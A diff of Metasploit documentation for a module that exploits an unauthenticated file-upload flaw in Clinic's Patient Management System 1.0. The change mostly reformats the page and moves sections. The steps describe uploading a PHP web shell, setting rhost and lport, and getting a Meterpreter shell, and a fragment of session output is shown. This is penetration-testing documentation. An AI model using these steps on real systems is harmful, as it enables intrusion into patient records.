Modified documentation

Author: aaryan-11-x

documentation/modules/exploit/multi/http/clinic_pms_fileupload_rce.md

@@ -1,5 +1,9 @@
-## Description
-The Clinic's Patient Management System (CPMS) 1.0 is vulnerable to unauthenticated Remote Code Execution (RCE) due to a file upload vulnerability. This exploit allows an attacker to upload arbitrary files, such as a PHP web shell, which can then be executed remotely. The exploitation occurs because of a misconfiguration in the server, specifically a lack of file validation for uploads and the presence of a directory listing feature in `/pms/user_images`. This enables an attacker to upload a PHP file and access it via a publicly accessible URL, executing arbitrary PHP code.
+## Vulnerable Application
+The Clinic's Patient Management System (CPMS) 1.0 is vulnerable to Unauthenticated Remote Code Execution (RCE) due to a file upload vulnerability.
+This exploit allows an attacker to upload arbitrary files, such as a PHP web shell, which can then be executed remotely.
+The exploitation occurs because of a misconfiguration in the server, specifically a lack of file validation for uploads and the presence of
+a directory listing feature in `/pms/user_images`.
+This enables an attacker to upload a PHP file and access it via a publicly accessible URL, executing arbitrary PHP code.
 
 ## Verification Steps
 
@@ -21,43 +25,48 @@ The Clinic's Patient Management System (CPMS) 1.0 is vulnerable to unauthenticat
 		- [ ] Edit `/etc/apache2/apache2.conf` by appending this line: `Include /etc/phpmyadmin/apache.conf`
 		- [ ] Extract the downloaded source code zip file into "/var/www/html" directory
 		- [ ] Next steps are similar to the ones for Windows, so follow that
-   
+
 2. Start `msfconsole` and load the exploit module:
-   ```bash
+```bash
    msfconsole
    use exploit/multi/http/clinic_pms_fileupload_rce
-   ```
+```
 
 3. Set the required options:
-   ```bash
+```bash
    set rport <port>
    set rhost <ip>
    set targeturi /pms
-   ```
+```
 
 4. Check if the target is vulnerable:
-   ```bash
+```bash
    check
-   ```
+```
 
    If the target is vulnerable, you will see a message indicating that the target is susceptible to the exploit:
-   ```
+```
    [+] <IP> The target is vulnerable.
-   ```
+```
 
 5. Set up the listener for the exploit:
-   ```bash
+```bash
    set lport <port>
    set lhost <ip>
-   ```
+```
 
 6. Launch the exploit:
-   ```bash
+```bash
    exploit
-   ```
+```
 
 7. If successful, you will receive a PHP Meterpreter shell.
 
+## Options
+- `TARGETURI`: (Required) The base path to the Clinic Patient Management System (default: `/pms`).
+- `LISTING_DELAY`: (Optional) The time to wait before fetching the directory listing after uploading the shell (default: `2` seconds).
+
+
 ## Scenarios
 
 ### Clinic's Patient Management System on a Linux Target
@@ -105,7 +114,3 @@ OS          : Windows NT DESKTOP-VE9J36K 10.0 build 19045 (Windows 10) AMD64
 Meterpreter : php/windows
 meterpreter >
 ```
-
-## Options
-- `TARGETURI`: (Required) The base path to the Clinic Patient Management System (default: `/pms`).
-- `LISTING_DELAY`: (Optional) The time to wait before fetching the directory listing after uploading the shell (default: `2` seconds).